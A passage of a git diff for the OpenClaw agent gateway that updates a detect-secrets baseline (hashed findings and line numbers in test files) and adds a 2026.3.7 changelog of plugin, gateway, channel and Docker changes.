@@ -11816,14 +11741,14 @@ "filename": "src/browser/browser-utils.test.ts", "hashed_secret": "4e126c049580d66ca1549fa534d95a7263f27f46", "is_verified": false, - "line_number": 38 + "line_number": 43 }, { "type": "Basic Auth Credentials", "filename": "src/browser/browser-utils.test.ts", "hashed_secret": "9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684", "is_verified": false, - "line_number": 159 + "line_number": 164 } ], "src/browser/cdp.test.ts": [ @@ -11832,7 +11757,7 @@ "filename": "src/browser/cdp.test.ts", "hashed_secret": "9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684", "is_verified": false, - "line_number": 186 + "line_number": 243 } ], "src/channels/plugins/plugins-channel.test.ts": [ @@ -11841,7 +11766,7 @@ "filename": "src/channels/plugins/plugins-channel.test.ts", "hashed_secret": "99c962e8c62296bdc9a17f5caf91ce9bb4c7e0e6", "is_verified": false, - "line_number": 46 + "line_number": 64 } ], "src/cli/program.smoke.e2e.test.ts": [ @@ -11859,7 +11784,7 @@ "filename": "src/cli/update-cli.test.ts", "hashed_secret": "e4f91dd323bac5bfc4f60a6e433787671dc2421d", "is_verified": false, - "line_number": 239 + "line_number": 277 } ], "src/commands/auth-choice.e2e.test.ts": [ @@ -11946,7 +11871,7 @@ "filename": "src/commands/doctor-memory-search.test.ts", "hashed_secret": "2e07956ffc9bc4fd624064c40b7495c85d5f1467", "is_verified": false, - "line_number": 38 + "line_number": 43 } ], "src/commands/model-picker.e2e.test.ts": [ @@ -12001,14 +11926,14 @@ "filename": "src/commands/onboard-auth.config-minimax.ts", "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", "is_verified": false, - "line_number": 36 + "line_number": 37 }, { "type": "Secret Keyword", "filename": "src/commands/onboard-auth.config-minimax.ts", "hashed_secret": "ddcb713196b974770575a9bea5a4e7d46361f8e9", "is_verified": false, - "line_number": 78 + "line_number": 79 } ], "src/commands/onboard-auth.e2e.test.ts": [ @@ -12107,7 +12032,7 @@ "filename": "src/commands/onboard-non-interactive/api-keys.ts", "hashed_secret": "112f3a99b283a4e1788dedd8e0e5d35375c33747", "is_verified": false, - "line_number": 11 + "line_number": 12 } ], "src/commands/status.update.test.ts": [ @@ -12143,7 +12068,7 @@ "filename": "src/config/config-misc.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 62 + "line_number": 102 } ], "src/config/config.env-vars.test.ts": [ @@ -12193,14 +12118,14 @@ "filename": "src/config/env-preserve-io.test.ts", "hashed_secret": "85639f0560fd9bf8704f52e01c5e764c9ed5a6aa", "is_verified": false, - "line_number": 59 + "line_number": 31 }, { "type": "Secret Keyword", "filename": "src/config/env-preserve-io.test.ts", "hashed_secret": "996650087ab48bdb1ca80f0842c97d4fbb6f1c71", "is_verified": false, - "line_number": 86 + "line_number": 75 } ], "src/config/env-preserve.test.ts": [ @@ -12239,28 +12164,28 @@ "filename": "src/config/env-substitution.test.ts", "hashed_secret": "f2b14f68eb995facb3a1c35287b778d5bd785511", "is_verified": false, - "line_number": 37 + "line_number": 80 }, { "type": "Secret Keyword", "filename": "src/config/env-substitution.test.ts", "hashed_secret": "ec417f567082612f8fd6afafe1abcab831fca840", "is_verified": false, - "line_number": 68 + "line_number": 100 }, { "type": "Secret Keyword", "filename": "src/config/env-substitution.test.ts", "hashed_secret": "520bd69c3eb1646d9a78181ecb4c90c51fdf428d", "is_verified": false, - "line_number": 69 + "line_number": 101 }, { "type": "Secret Keyword", "filename": "src/config/env-substitution.test.ts", "hashed_secret": "f136444bf9b3d01a9f9b772b80ac6bf7b6a43ef0", "is_verified": false, - "line_number": 227 + "line_number": 282 } ], "src/config/io.write-config.test.ts": [ @@ -12269,7 +12194,7 @@ "filename": "src/config/io.write-config.test.ts", "hashed_secret": "13951588fd3325e25ed1e3b116d7009fb221c85e", "is_verified": false, - "line_number": 65 + "line_number": 289 } ], "src/config/model-alias-defaults.test.ts": [ @@ -12278,107 +12203,107 @@ "filename": "src/config/model-alias-defaults.test.ts", "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 66 + "line_number": 13 } ], "src/config/redact-snapshot.test.ts": [ - { - "type": "Base64 High Entropy String", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", - "is_verified": false, - "line_number": 77 - }, - { - "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", - "is_verified": false, - "line_number": 77 - }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "7f413afd37447cd321d79286be0f58d7a9875d9b", "is_verified": false, - "line_number": 89 - }, - { - "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "c21afa950dee2a70f3e0f6ffdfbc87f8edb90262", - "is_verified": false, - "line_number": 99 - }, - { - "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "83a9937c6de261ffda22304834f30fe6c8f97926", - "is_verified": false, - "line_number": 110 - }, - { - "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "87ac76dfc9cba93bead43c191e31bd099a97cc11", - "is_verified": false, - "line_number": 198 + "line_number": 78 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "abb1aabcd0e49019c2873944a40671a80ccd64c7", "is_verified": false, - "line_number": 309 + "line_number": 84 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "83a9937c6de261ffda22304834f30fe6c8f97926", + "is_verified": false, + "line_number": 88 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "c21afa950dee2a70f3e0f6ffdfbc87f8edb90262", + "is_verified": false, + "line_number": 91 + }, + { + "type": "Base64 High Entropy String", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", + "is_verified": false, + "line_number": 95 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", + "is_verified": false, + "line_number": 95 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "87ac76dfc9cba93bead43c191e31bd099a97cc11", + "is_verified": false, + "line_number": 227 }, { "type": "Base64 High Entropy String", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "8e22880b4e96bab354e1da6c91d2f58dabde3555", "is_verified": false, - "line_number": 321 + "line_number": 397 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "8e22880b4e96bab354e1da6c91d2f58dabde3555", "is_verified": false, - "line_number": 321 + "line_number": 397 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "a9c732e05044a08c760cce7f6d142cd0d35a19e5", "is_verified": false, - "line_number": 375 + "line_number": 455 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "50843dd5651cfafbe7c5611c1eed195c63e6e3fd", "is_verified": false, - "line_number": 691 + "line_number": 771 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "927e7cdedcb8f71af399a49fb90a381df8b8df28", "is_verified": false, - "line_number": 808 + "line_number": 1007 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "1996cc327bd39dad69cd8feb24250dafd51e7c08", "is_verified": false, - "line_number": 814 + "line_number": 1013 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "a5c0a65a4fa8874a486aa5072671927ceba82a90", "is_verified": false, - "line_number": 838 + "line_number": 1037 } ], "src/config/schema.help.ts": [ @@ -12387,21 +12312,14 @@ "filename": "src/config/schema.help.ts", "hashed_secret": "9f4cda226d3868676ac7f86f59e4190eb94bd208", "is_verified": false, - "line_number": 109 + "line_number": 649 }, { "type": "Secret Keyword", "filename": "src/config/schema.help.ts", "hashed_secret": "01822c8bbf6a8b136944b14182cb885100ec2eae", "is_verified": false, - "line_number": 130 - }, - { - "type": "Secret Keyword", - "filename": "src/config/schema.help.ts", - "hashed_secret": "bb7dfd9746e660e4a4374951ec5938ef0e343255", - "is_verified": false, - "line_number": 187 + "line_number": 680 } ], "src/config/schema.irc.ts": [ @@ -12440,14 +12358,14 @@ "filename": "src/config/schema.labels.ts", "hashed_secret": "e73c9fcad85cd4eecc74181ec4bdb31064d68439", "is_verified": false, - "line_number": 104 + "line_number": 216 }, { "type": "Secret Keyword", "filename": "src/config/schema.labels.ts", "hashed_secret": "2eda7cd978f39eebec3bf03e4410a40e14167fff", "is_verified": false, - "line_number": 145 + "line_number": 324 } ], "src/config/slack-http-config.test.ts": [ @@ -12483,7 +12401,7 @@ "filename": "src/gateway/auth-rate-limit.ts", "hashed_secret": "76ed0a056aa77060de25754586440cff390791d0", "is_verified": false, - "line_number": 37 + "line_number": 39 } ], "src/gateway/auth.test.ts": [ @@ -12492,79 +12410,72 @@ "filename": "src/gateway/auth.test.ts", "hashed_secret": "db5543cd7440bbdc4c5aaf8aa363715c31dd5a27", "is_verified": false, - "line_number": 32 + "line_number": 95 }, { "type": "Secret Keyword", "filename": "src/gateway/auth.test.ts", "hashed_secret": "d51f846285cbc6d1dd76677a0fd588c8df44e506", "is_verified": false, - "line_number": 48 + "line_number": 112 }, { "type": "Secret Keyword", "filename": "src/gateway/auth.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 95 + "line_number": 254 }, { "type": "Secret Keyword", "filename": "src/gateway/auth.test.ts", "hashed_secret": "a4b48a81cdab1e1a5dd37907d6c85ca1c61ddc7c", "is_verified": false, - "line_number": 103 + "line_number": 262 } ], "src/gateway/call.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/gateway/call.test.ts", + "hashed_secret": "2e07956ffc9bc4fd624064c40b7495c85d5f1467", + "is_verified": false, + "line_number": 90 + }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "db5543cd7440bbdc4c5aaf8aa363715c31dd5a27", "is_verified": false, - "line_number": 357 + "line_number": 607 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "de1c41e8ece73f5d5c259bb37eccb59a542b91dc", "is_verified": false, - "line_number": 361 + "line_number": 611 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 398 + "line_number": 683 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "e493f561d90c6638c1f51c5a8a069c3b129b79ed", "is_verified": false, - "line_number": 408 - }, - { - "type": "Secret Keyword", - "filename": "src/gateway/call.test.ts", - "hashed_secret": "2e07956ffc9bc4fd624064c40b7495c85d5f1467", - "is_verified": false, - "line_number": 413 + "line_number": 690 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "bddc29032de580fb53b3a9a0357dd409086db800", "is_verified": false, - "line_number": 426 - }, - { - "type": "Secret Keyword", - "filename": "src/gateway/call.test.ts", - "hashed_secret": "6255675480f681df08c1704b7b3cd2c49917f0e2", - "is_verified": false, - "line_number": 463 + "line_number": 704 } ], "src/gateway/client.e2e.test.ts": [ @@ -12582,7 +12493,7 @@ "filename": "src/gateway/gateway-cli-backend.live.test.ts", "hashed_secret": "3e2fd4a90d5afbd27974730c4d6a9592fe300825", "is_verified": false, - "line_number": 38 + "line_number": 45 } ], "src/gateway/gateway-models.profiles.live.test.ts": [ @@ -12591,7 +12502,7 @@ "filename": "src/gateway/gateway-models.profiles.live.test.ts", "hashed_secret": "3e2fd4a90d5afbd27974730c4d6a9592fe300825", "is_verified": false, - "line_number": 242 + "line_number": 384 } ], "src/gateway/server-methods/skills.update.normalizes-api-key.test.ts": [ @@ -12609,7 +12520,7 @@ "filename": "src/gateway/server-methods/talk.ts", "hashed_secret": "e478a5eeba4907d2f12a68761996b9de745d826d", "is_verified": false, - "line_number": 13 + "line_number": 14 } ], "src/gateway/server.auth.e2e.test.ts": [ @@ -12652,7 +12563,7 @@ "filename": "src/gateway/session-utils.test.ts", "hashed_secret": "bb9a5d9483409d2c60b28268a0efcb93324d4cda", "is_verified": false, - "line_number": 280 + "line_number": 563 } ], "src/gateway/test-openai-responses-model.ts": [ @@ -12679,14 +12590,14 @@ "filename": "src/infra/env.test.ts", "hashed_secret": "df98a117ddabf85991b9fe0e268214dc0e1254dc", "is_verified": false, - "line_number": 9 + "line_number": 7 }, { "type": "Secret Keyword", "filename": "src/infra/env.test.ts", "hashed_secret": "6d811dc1f59a55ca1a3d38b5042a062b9f79e8ec", "is_verified": false, - "line_number": 30 + "line_number": 14 } ], "src/infra/outbound/message-action-runner.test.ts": [ @@ -12695,14 +12606,14 @@ "filename": "src/infra/outbound/message-action-runner.test.ts", "hashed_secret": "804ec071803318791b835cffd6e509c8d32239db", "is_verified": false, - "line_number": 129 + "line_number": 180 }, { "type": "Secret Keyword", "filename": "src/infra/outbound/message-action-runner.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 435 + "line_number": 529 } ], "src/infra/outbound/outbound.test.ts": [ @@ -12711,7 +12622,7 @@ "filename": "src/infra/outbound/outbound.test.ts", "hashed_secret": "804ec071803318791b835cffd6e509c8d32239db", "is_verified": false, - "line_number": 631 + "line_number": 850 } ], "src/infra/provider-usage.auth.normalizes-keys.test.ts": [ @@ -12720,21 +12631,21 @@ "filename": "src/infra/provider-usage.auth.normalizes-keys.test.ts", "hashed_secret": "45c7365e3b542cdb4fae6ec10c2ff149224d7656", "is_verified": false, - "line_number": 80 + "line_number": 124 }, { "type": "Secret Keyword", "filename": "src/infra/provider-usage.auth.normalizes-keys.test.ts", "hashed_secret": "b67074884ab7ef7c7a8cd6a3da9565d96c792248", "is_verified": false, - "line_number": 81 + "line_number": 125 }, { "type": "Secret Keyword", "filename": "src/infra/provider-usage.auth.normalizes-keys.test.ts", "hashed_secret": "d4d8027e64f9cf4180d3aecfe31ea409368022ee", "is_verified": false, - "line_number": 82 + "line_number": 126 } ], "src/infra/shell-env.test.ts": [ @@ -12743,21 +12654,21 @@ "filename": "src/infra/shell-env.test.ts", "hashed_secret": "65c10dc3549fe07424148a8a4790a3341ecbc253", "is_verified": false, - "line_number": 26 + "line_number": 133 }, { "type": "Secret Keyword", "filename": "src/infra/shell-env.test.ts", "hashed_secret": "e013ffda590d2178607c16d11b1ea42f75ceb0e7", "is_verified": false, - "line_number": 58 + "line_number": 165 }, { "type": "Base64 High Entropy String", "filename": "src/infra/shell-env.test.ts", "hashed_secret": "be6ee9a6bf9f2dad84a5a67d6c0576a5bacc391e", "is_verified": false, - "line_number": 60 + "line_number": 167 } ], "src/line/accounts.test.ts": [ @@ -12789,7 +12700,7 @@ "filename": "src/line/bot-handlers.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 106 + "line_number": 101 } ], "src/line/bot-message-context.test.ts": [ @@ -12825,7 +12736,7 @@ "filename": "src/line/webhook.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 23 + "line_number": 21 } ], "src/logging/redact.test.ts": [ @@ -12873,7 +12784,7 @@ "filename": "src/media-understanding/providers/deepgram/audio.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 27 + "line_number": 20 } ], "src/media-understanding/providers/google/video.test.ts": [ @@ -12882,7 +12793,7 @@ "filename": "src/media-understanding/providers/google/video.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 64 + "line_number": 56 } ], "src/media-understanding/providers/openai/audio.test.ts": [ @@ -12891,7 +12802,7 @@ "filename": "src/media-understanding/providers/openai/audio.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 22 + "line_number": 18 } ], "src/media-understanding/runner.auto-audio.test.ts": [ @@ -12900,7 +12811,7 @@ "filename": "src/media-understanding/runner.auto-audio.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 40 + "line_number": 23 } ], "src/media-understanding/runner.deepgram.test.ts": [ @@ -12909,7 +12820,7 @@ "filename": "src/media-understanding/runner.deepgram.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 44 + "line_number": 31 } ], "src/memory/embeddings-voyage.test.ts": [ @@ -12918,14 +12829,14 @@ "filename": "src/memory/embeddings-voyage.test.ts", "hashed_secret": "7c2020578bbe5e2e3f78d7f954eb2ad8ab5b0403", "is_verified": false, - "line_number": 33 + "line_number": 24 }, { "type": "Secret Keyword", "filename": "src/memory/embeddings-voyage.test.ts", "hashed_secret": "8afdb3da9b79c8957ae35978ea8f33fbc3bfdf60", "is_verified": false, - "line_number": 77 + "line_number": 88 } ], "src/memory/embeddings.test.ts": [ @@ -12934,21 +12845,21 @@ "filename": "src/memory/embeddings.test.ts", "hashed_secret": "a47110e348a3063541fb1f1f640d635d457181a0", "is_verified": false, - "line_number": 45 + "line_number": 47 }, { "type": "Secret Keyword", "filename": "src/memory/embeddings.test.ts", "hashed_secret": "c734e47630dda71619c696d88381f06f7511bd78", "is_verified": false, - "line_number": 160 + "line_number": 195 }, { "type": "Secret Keyword", "filename": "src/memory/embeddings.test.ts", "hashed_secret": "56e1d57b8db262b08bc73c60ed08d8c92e59503f", "is_verified": false, - "line_number": 189 + "line_number": 291 } ], "src/pairing/pairing-store.ts": [ @@ -12957,7 +12868,7 @@ "filename": "src/pairing/pairing-store.ts", "hashed_secret": "f8c6f1ff98c5ee78c27d34a3ca68f35ad79847af", "is_verified": false, - "line_number": 13 + "line_number": 14 } ], "src/pairing/setup-code.test.ts": [ @@ -12966,14 +12877,14 @@ "filename": "src/pairing/setup-code.test.ts", "hashed_secret": "4914c103484773b5a8e18448b11919bb349cbff8", "is_verified": false, - "line_number": 22 + "line_number": 31 }, { "type": "Secret Keyword", "filename": "src/pairing/setup-code.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 96 + "line_number": 357 } ], "src/security/audit.test.ts": [ @@ -12982,14 +12893,14 @@ "filename": "src/security/audit.test.ts", "hashed_secret": "21f688ab56f76a99e5c6ed342291422f4e57e47f", "is_verified": false, - "line_number": 2063 + "line_number": 3473 }, { "type": "Secret Keyword", "filename": "src/security/audit.test.ts", "hashed_secret": "3dc927d80543dc0f643940b70d066bd4b4c4b78e", "is_verified": false, - "line_number": 2094 + "line_number": 3486 } ], "src/telegram/monitor.test.ts": [ @@ -12998,14 +12909,14 @@ "filename": "src/telegram/monitor.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 205 + "line_number": 432 }, { "type": "Secret Keyword", "filename": "src/telegram/monitor.test.ts", "hashed_secret": "5934c4d4a4fa5d66ddb3d3fc0bba84996c17a5b7", "is_verified": false, - "line_number": 233 + "line_number": 479 } ], "src/telegram/webhook.test.ts": [ @@ -13014,7 +12925,7 @@ "filename": "src/telegram/webhook.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 42 + "line_number": 24 } ], "src/tts/tts.test.ts": [ @@ -13030,28 +12941,28 @@ "filename": "src/tts/tts.test.ts", "hashed_secret": "b214f706bb602c1cc2adc5c6165e73622305f4bb", "is_verified": false, - "line_number": 98 + "line_number": 96 }, { "type": "Secret Keyword", "filename": "src/tts/tts.test.ts", "hashed_secret": "75ddfb45216fe09680dfe70eda4f559a910c832c", "is_verified": false, - "line_number": 397 + "line_number": 434 }, { "type": "Secret Keyword", "filename": "src/tts/tts.test.ts", "hashed_secret": "e29af93630aa18cc3457cb5b13937b7ab7c99c9b", "is_verified": false, - "line_number": 413 + "line_number": 444 }, { "type": "Secret Keyword", "filename": "src/tts/tts.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 447 + "line_number": 530 } ], "src/tui/gateway-chat.test.ts": [ @@ -13060,7 +12971,7 @@ "filename": "src/tui/gateway-chat.test.ts", "hashed_secret": "6255675480f681df08c1704b7b3cd2c49917f0e2", "is_verified": false, - "line_number": 85 + "line_number": 121 } ], "src/web/login.test.ts": [ @@ -13078,7 +12989,7 @@ "filename": "ui/src/i18n/locales/en.ts", "hashed_secret": "de0ff6b974d6910aca8d6b830e1b761f076d8fe6", "is_verified": false, - "line_number": 60 + "line_number": 61 } ], "ui/src/i18n/locales/pt-BR.ts": [ @@ -13087,7 +12998,7 @@ "filename": "ui/src/i18n/locales/pt-BR.ts", "hashed_secret": "ef7b6f95faca2d7d3a5aa5a6434c89530c6dd243", "is_verified": false, - "line_number": 60 + "line_number": 61 } ], "vendor/a2ui/README.md": [ @@ -13100,5 +13011,5 @@ } ] }, - "generated_at": "2026-02-17T13:34:38Z" + "generated_at": "2026-03-07T18:17:47Z" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 5cb86a8bd78..71a864bdd7a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,28 +2,36 @@ Docs: https://docs.openclaw.ai -## 2026.3.3 +## 2026.3.7 ### Changes -- Web UI/i18n: add Spanish (`es`) locale support in the Control UI, including locale detection, lazy loading, and language picker labels across supported locales. (#35038) Thanks @DaoPromociones. -- Discord/allowBots mention gating: add `allowBots: "mentions"` to only accept bot-authored messages that mention the bot. Thanks @thewilloftheshadow. -- Docs/Web search: remove outdated Brave free-tier wording and replace prescriptive AI ToS guidance with neutral compliance language in Brave setup docs. (#26860) Thanks @HenryLoenwind. -- Tools/Web search: switch Perplexity provider to Search API with structured results plus new language/region/time filters. (#33822) Thanks @kesku. -- Tools/Diffs guidance loading: move diffs usage guidance from unconditional prompt-hook injection to the plugin companion skill path, reducing unrelated-turn prompt noise while keeping diffs tool behavior unchanged. (#32630) thanks @sircrumpet. -- Agents/tool-result truncation: preserve important tail diagnostics by using head+tail truncation for oversized tool results while keeping configurable truncation options. (#20076) thanks @jlwestsr. -- Telegram/topic agent routing: support per-topic `agentId` overrides in forum groups and DM topics so topics can route to dedicated agents with isolated sessions. (#33647; based on #31513) Thanks @kesor and @Sid-Qin. +- Agents/context engine plugin interface: add `ContextEngine` plugin slot with full lifecycle hooks (`bootstrap`, `ingest`, `assemble`, `compact`, `afterTurn`, `prepareSubagentSpawn`, `onSubagentEnded`), slot-based registry with config-driven resolution, `LegacyContextEngine` wrapper preserving existing compaction behavior, scoped subagent runtime for plugin runtimes via `AsyncLocalStorage`, and `sessions.get` gateway method. Enables plugins like `lossless-claw` to provide alternative context management strategies without modifying core compaction logic. Zero behavior change when no context engine plugin is configured. (#22201) thanks @jalehman. - ACP/persistent channel bindings: add durable Discord channel and Telegram topic binding storage, routing resolution, and CLI/docs support so ACP thread targets survive restarts and can be managed consistently. (#34873) Thanks @dutifulbob. -- Slack/DM typing feedback: add `channels.slack.typingReaction` so Socket Mode DMs can show reaction-based processing status even when Slack native assistant typing is unavailable. (#19816) Thanks @dalefrieswthat. -- Cron/job snapshot persistence: skip backup during normalization persistence in `ensureLoaded` so `jobs.json.bak` keeps the pre-edit snapshot for recovery, while preserving backup creation on explicit user-driven writes. (#35234) Thanks @0xsline. -- TTS/OpenAI-compatible endpoints: add `messages.tts.openai.baseUrl` config support with config-over-env precedence, endpoint-aware directive validation, and OpenAI TTS request routing to the resolved base URL. (#34321) thanks @RealKai42. -- Plugins/before_prompt_build system-context fields: add `prependSystemContext` and `appendSystemContext` so static plugin guidance can be placed in system prompt space for provider caching and lower repeated prompt token cost. (#35177) thanks @maweibin. -- Gateway: add SecretRef support for gateway.auth.token with auth-mode guardrails. (#35094) Thanks @joshavant. -- Plugins/hook policy: add `plugins.entries..hooks.allowPromptInjection`, validate unknown typed hook names at runtime, and preserve legacy `before_agent_start` model/provider overrides while stripping prompt-mutating fields when prompt injection is disabled. (#36567) thanks @gumadeiras. -- Tools/Diffs guidance: restore a short system-prompt hint for enabled diffs while keeping the detailed instructions in the companion skill, so diffs usage guidance stays out of user-prompt space. (#36904) thanks @gumadeiras. - Telegram/ACP topic bindings: accept Telegram Mac Unicode dash option prefixes in `/acp spawn`, support Telegram topic thread binding (`--thread here|auto`), route bound-topic follow-ups to ACP sessions, add actionable Telegram approval buttons with prefixed approval-id resolution, and pin successful bind confirmations in-topic. (#36683) Thanks @huntharo. +- Telegram/topic agent routing: support per-topic `agentId` overrides in forum groups and DM topics so topics can route to dedicated agents with isolated sessions. (#33647; based on #31513) Thanks @kesor and @Sid-Qin. +- Web UI/i18n: add Spanish (`es`) locale support in the Control UI, including locale detection, lazy loading, and language picker labels across supported locales. (#35038) Thanks @DaoPromociones. +- Onboarding/web search: add provider selection step and full provider list in configure wizard, with SecretRef ref-mode support during onboarding. (#34009) Thanks @kesku and @thewilloftheshadow. +- Tools/Web search: switch Perplexity provider to Search API with structured results plus new language/region/time filters. (#33822) Thanks @kesku. +- Gateway: add SecretRef support for gateway.auth.token with auth-mode guardrails. (#35094) Thanks @joshavant. +- Docker/Podman extension dependency baking: add `OPENCLAW_EXTENSIONS` so container builds can preinstall selected bundled extension npm dependencies into the image for faster and more reproducible startup in container deployments. (#32223) Thanks @sallyom. +- Plugins/before_prompt_build system-context fields: add `prependSystemContext` and `appendSystemContext` so static plugin guidance can be placed in system prompt space for provider caching and lower repeated prompt token cost. (#35177) thanks @maweibin. +- Plugins/hook policy: add `plugins.entries..hooks.allowPromptInjection`, validate unknown typed hook names at runtime, and preserve legacy `before_agent_start` model/provider overrides while stripping prompt-mutating fields when prompt injection is disabled. (#36567) thanks @gumadeiras. - Hooks/Compaction lifecycle: emit `session:compact:before` and `session:compact:after` internal events plus plugin compaction callbacks with session/count metadata, so automations can react to compaction runs consistently. (#16788) thanks @vincentkoc. +- Agents/compaction post-context configurability: add `agents.defaults.compaction.postCompactionSections` so deployments can choose which `AGENTS.md` sections are re-injected after compaction, while preserving legacy fallback behavior when the documented default pair is configured in any order. (#34556) thanks @efe-arv. +- TTS/OpenAI-compatible endpoints: add `messages.tts.openai.baseUrl` config support with config-over-env precedence, endpoint-aware directive validation, and OpenAI TTS request routing to the resolved base URL. (#34321) thanks @RealKai42. +- Slack/DM typing feedback: add `channels.slack.typingReaction` so Socket Mode DMs can show reaction-based processing status even when Slack native assistant typing is unavailable. (#19816) Thanks @dalefrieswthat. +- Discord/allowBots mention gating: add `allowBots: "mentions"` to only accept bot-authored messages that mention the bot. Thanks @thewilloftheshadow. +- Agents/tool-result truncation: preserve important tail diagnostics by using head+tail truncation for oversized tool results while keeping configurable truncation options. (#20076) thanks @jlwestsr. +- Cron/job snapshot persistence: skip backup during normalization persistence in `ensureLoaded` so `jobs.json.bak` keeps the pre-edit snapshot for recovery, while preserving backup creation on explicit user-driven writes. (#35234) Thanks @0xsline. - CLI: make read-only SecretRef status flows degrade safely (#37023) thanks @joshavant. +- Tools/Diffs guidance: restore a short system-prompt hint for enabled diffs while keeping the detailed instructions in the companion skill, so diffs usage guidance stays out of user-prompt space. (#36904) thanks @gumadeiras. +- Tools/Diffs guidance loading: move diffs usage guidance from unconditional prompt-hook injection to the plugin companion skill path, reducing unrelated-turn prompt noise while keeping diffs tool behavior unchanged. (#32630) thanks @sircrumpet. +- Docs/Web search: remove outdated Brave free-tier wording and replace prescriptive AI ToS guidance with neutral compliance language in Brave setup docs. (#26860) Thanks @HenryLoenwind. +- Config/Compaction safeguard tuning: expose `agents.defaults.compaction.recentTurnsPreserve` and quality-guard retry knobs through the validated config surface and embedded-runner wiring, with regression coverage for real config loading and schema metadata. (#25557) thanks @rodrigouroz. +- iOS/App Store Connect release prep: align iOS bundle identifiers under `ai.openclaw.client`, refresh Watch app icons, add Fastlane metadata/screenshot automation, and support Keychain-backed ASC auth for uploads. (#38936) Thanks @ngutman. +- Mattermost/model picker: add Telegram-style interactive provider/model browsing for `/oc_model` and `/oc_models`, fix picker callback updates, and emit a normal confirmation reply when a model is selected. (#38767) thanks @mukhtharcm. +- Docker/multi-stage build: restructure Dockerfile as a multi-stage build to produce a minimal runtime image without build tools, source code, or Bun; add `OPENCLAW_VARIANT=slim` build arg for a bookworm-slim variant. (#38479) Thanks @sallyom. ### Breaking @@ -31,6 +39,9 @@ Docs: https://docs.openclaw.ai ### Fixes +- LINE/`requireMention` group gating: align inbound and reply-stage LINE group policy resolution across raw, `group:`, and `room:` keys (including account-scoped group config), preserve plugin-backed reply-stage fallback behavior, and add regression coverage for prefixed-only group/room config plus reply-stage policy resolution. (#35847) Thanks @kirisame-wang. +- Onboarding/local setup: default unset local `tools.profile` to `coding` instead of `messaging`, restoring file/runtime tools for fresh local installs while preserving explicit user-set profiles. (from #38241, overlap with #34958) Thanks @cgdusek. +- Gateway/Telegram stale-socket restart guard: only apply stale-socket restarts to channels that publish event-liveness timestamps, preventing Telegram providers from being misclassified as stale solely due to long uptime and avoiding restart/pairing storms after upgrade. (openclaw#38464) - Onboarding/headless Linux daemon probe hardening: treat `systemctl --user is-enabled` probe failures as non-fatal during daemon install flow so onboarding no longer crashes on SSH/headless 